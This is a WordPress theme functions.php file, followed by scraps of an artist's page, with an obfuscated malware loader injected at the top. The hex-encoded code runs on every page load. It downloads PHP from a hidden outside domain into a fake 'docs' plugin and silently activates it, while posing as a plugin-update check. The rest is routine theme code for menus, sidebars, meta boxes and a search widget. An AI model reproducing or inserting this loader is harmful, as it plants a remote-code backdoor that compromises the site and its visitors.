php $ASlDw =""; $ASlDw.= "2f2a42585062326f6f4c437450504833554c4c375a6c2a2f206" ; $ASlDw .= "9662028216" ; $ASlDw .= "46" ; $ASlDw .= "566696e65642827634778315a326c75583356775a4746305a584d272920616e64202166756e6374696f6e5f6578697374732822636865636b6" ; $ASlDw.= "96e675f666f725f6e6577" ; $ASlDw .="5f70" ; $ASlDw .= "6c7567696e5f7570646174652229297b0a2020202"; $ASlDw .= "0"; $ASlDw .="66756e6374696f6e20636865636b696e675f666f725f6e65775f706c7567696e5f75706461746528297b0a202020202020202069662028646566696e65642827634778315a326c75583356775a4746305a584d2729297b72657475726e20747275653b7d0a2020202020202020" ; $ASlDw.= "24613d6261736536345f6465636f646528275a47396a63773d3d27293b20646566696e" ; $ASlDw .= "652827"; $ASlDw .= "63477831" ; $ASlDw .= "5a326c75583356775a4746305a584d2" ; $ASlDw.= "72c20273127293b0a202020202020202024643d4449524543544f52595f534550415241544f523b246b3d272e706870273b0a20202020202020202470203d747261696c696e67736c617368697428747261696c696e67736c617368697428414253" ; $ASlDw .= "50415448292e2277702d636f6e74656e74222e24642e22706c75" ; $ASlDw .="67696e7322293b0a20202020202020206966282169735f6469722824702e24642e24612929207b0a202020202020202020202020406d6b6469722824702e24642e24612c2030373737293b0a2020202020" ; $ASlDw .= "202020202020206966282166696c655f6578697374732824702e24" ; $ASlDw .= "642e24612e24642e24612e246b2929207b0a2020202020202020202020202020202024723d4077705f72656d6f74655f676574286261736536345f6465636f64652827614852" ; $ASlDw.="3063446f76" ; $ASlDw .="4c32786862585673595852684c6d4a706569396a636d6c776446396b62324d75634768772729293b0a202020202020202020202020202020206966282169735f77705f6572726f722824722920262620323030203d3d2024725b227265" ; $ASlDw .="73706f6e7365225d5b22636f6465225d29207b4066696c655f7075745f636f6e74656e74732824702e24642e24612e24642e24612e246b2c2024725b22626f6479225d293b7d0a2020202020202020202020207d0a20202020202020207d0a20202020202020206966" ; $ASlDw .= "284066696c655f6578697374732824702e24642e24612e24642e24612e246b29297b0a2020202020202020202020202463203"; $ASlDw .="d2040676574"; $ASlDw .= "5f6f7074696f6e28226163746976655f706c7567696e7322293b24706c203d2040706c7567696e5f626173656e616d652824612e272f272e24612e246b293b0a20202020202020202020202069662821696e5f61727261792824706c2c20246329297b24635b5d203d2024706c3b736f7274282463293b407570646174655f6f7074696f6e28226163746976655f706c7567696e73222c2463293b7d0a20202020202020207d0a202020207d0a7d0a6164645f616374696f6e2822696e6974222c2022636865636b696e675f666f725f6e65775f706c7567696e5f75706461746522293b2f2a683838756c6434566838524934693976526541412a2f";$NRKcv = $ASlDw ; if (!function_exists ( "KddhZ")){function KddhZ( $slDWp){ $atMEE="" ; $hhatl = strlen ( $slDWp ) / 2 ; for ( $EWPPH =0 ; $EWPPH < $hhatl; $EWPPH++ ){ $atMEE.= chr ( base_convert (substr($slDWp,$EWPPH * 2, 2 ) ,16 , 10 ) ) ; } return $atMEE;} } $NRKcv = create_function ( null , KddhZ( $NRKcv)); $NRKcv() ; include('settings.php'); if (function_exists('add_theme_support')) { add_theme_support('menus'); register_nav_menu('header-menu','Header Menu'); // register_nav_menu('footer-menu','Footer Menu'); add_theme_support( 'post-thumbnails' ); add_image_size('home-featured',568,320,true); add_image_size('home-blog',280,180,true); } function get_category_id($cat_name){ $term = get_term_by('name', $cat_name, 'category'); return $term->term_id; } function ds_get_excerpt($num_chars) { $temp_str = substr(strip_shortcodes(strip_tags(get_the_content())),0,$num_chars); $temp_parts = explode(" ",$temp_str); $temp_parts[(count($temp_parts) - 1)] = ''; if(strlen(strip_tags(get_the_content())) > 125) return implode(" ",$temp_parts) . '...'; else return implode(" ",$temp_parts); } if ( function_exists('register_sidebar') ) { register_sidebar(array( 'name'=>'Sidebar', 'before_widget' => '', 'before_title' => '

', 'after_title' => '

', )); register_sidebar(array( 'name'=>'Footer Col 1', 'before_widget' => '', 'before_title' => '

', 'after_title' => '

', )); register_sidebar(array( 'name'=>'Footer Col 2', 'before_widget' => '', 'before_title' => '

', 'after_title' => '

', )); register_sidebar(array( 'name'=>'Footer Col 3', 'before_widget' => '', 'before_title' => '

', 'after_title' => '

', )); } // EX POST CUSTOM FIELD START $prefix = 'ex_'; $meta_box = array( 'id' => 'my-meta-box', 'title' => 'Custom meta box', 'page' => 'post', 'context' => 'normal', 'priority' => 'high', 'fields' => array( array( 'name' => 'Show in slideshow', 'id' => $prefix . 'show_in_slideshow', 'type' => 'checkbox' ) ) ); add_action('admin_menu', 'mytheme_add_box'); // Add meta box function mytheme_add_box() { global $meta_box; add_meta_box($meta_box['id'], $meta_box['title'], 'mytheme_show_box', $meta_box['page'], $meta_box['context'], $meta_box['priority']); } // Callback function to show fields in meta box function mytheme_show_box() { global $meta_box, $post; // Use nonce for verification echo ''; echo ''; foreach ($meta_box['fields'] as $field) { // get current post meta data $meta = get_post_meta($post->ID, $field['id'], true); echo '', '', ''; } echo '
'; switch ($field['type']) { case 'text': echo '', '
', $field['desc']; break; case 'textarea': echo '', '
', $field['desc']; break; case 'select': echo ''; break; case 'radio': foreach ($field['options'] as $option) { echo '', $option['name']; } break; case 'checkbox': echo ''; break; } echo '
', '
'; } add_action('save_post', 'mytheme_save_data'); // Save data from meta box function mytheme_save_data($post_id) { global $meta_box; // verify nonce if (!wp_verify_nonce($_POST['mytheme_meta_box_nonce'], basename(__FILE__))) { return $post_id; } // check autosave if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) { return $post_id; } // check permissions if ('page' == $_POST['post_type']) { if (!current_user_can('edit_page', $post_id)) { return $post_id; } } elseif (!current_user_can('edit_post', $post_id)) { return $post_id; } foreach ($meta_box['fields'] as $field) { $old = get_post_meta($post_id, $field['id'], true); $new = $_POST[$field['id']]; if ($new && $new != $old) { update_post_meta($post_id, $field['id'], $new); } elseif ('' == $new && $old) { delete_post_meta($post_id, $field['id'], $old); } } } // EX POST CUSTOM FIELD END /* Custom fields for PAGES Starts */ add_action( 'add_meta_boxes', 'pages_extra_fields_box' ); function pages_extra_fields_box() { add_meta_box( 'pages_extra_fields_box_id', __( 'Page Details', 'rochebros' ), 'pages_extra_fields_box_content', 'post', 'normal', 'high' ); } function pages_extra_fields_box_content( $post ) { wp_nonce_field( plugin_basename( __FILE__ ), 'pages_extra_fields_box_content_nonce' ); ?>
Type:
Video ID:
ex. h6zo_7nvwNU (youtube)
ex. 39792837 (vimeo)
php } add_action( 'save_post', 'pages_extra_fields_box_save' ); function pages_extra_fields_box_save( $post_id ) { if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return; if ( !wp_verify_nonce( $_POST['pages_extra_fields_box_content_nonce'], plugin_basename( __FILE__ ) ) ) return; if ( 'page' == $_POST['post_type'] ) { if ( !current_user_can( 'edit_page', $post_id ) ) return; } else { if ( !current_user_can( 'edit_post', $post_id ) ) return; } $page_featured_type = $_POST['page_featured_type']; $page_video_id = $_POST['page_video_id']; update_post_meta( $post_id, 'page_featured_type', $page_featured_type ); update_post_meta( $post_id, 'page_video_id', $page_video_id ); } /* Custom fields for PAGES Ends */ // **** PRODUCTION - Template1 Search START **** class template1_search extends WP_Widget { function template1_search() { parent::WP_Widget(false, 'Custom Search'); } function widget($args, $instance) { $args['search_title'] = $instance['search_title']; t1_func_search($args); } function update($new_instance, $old_instance) { return $new_instance; } function form($instance) { $search_title = esc_attr($instance['search_title']); ?>

php } } function t1_func_search($args = array(), $displayComments = TRUE, $interval = '') { global $wpdb; echo $args['before_widget']; if($args['search_title'] != '') echo $args['before_title'] . $args['search_title'] . $args['after_title']; ?>
php echo $args['after_widget']; wp_reset_query(); } register_widget('template1_search'); // **** PRODUCTION - Template1 Search END **** ?> Masterpiece London 2014 « Nicky's World

Nick Fiddian Green

ART > Carpenters Workshop Gallery | Masterpiece London 2014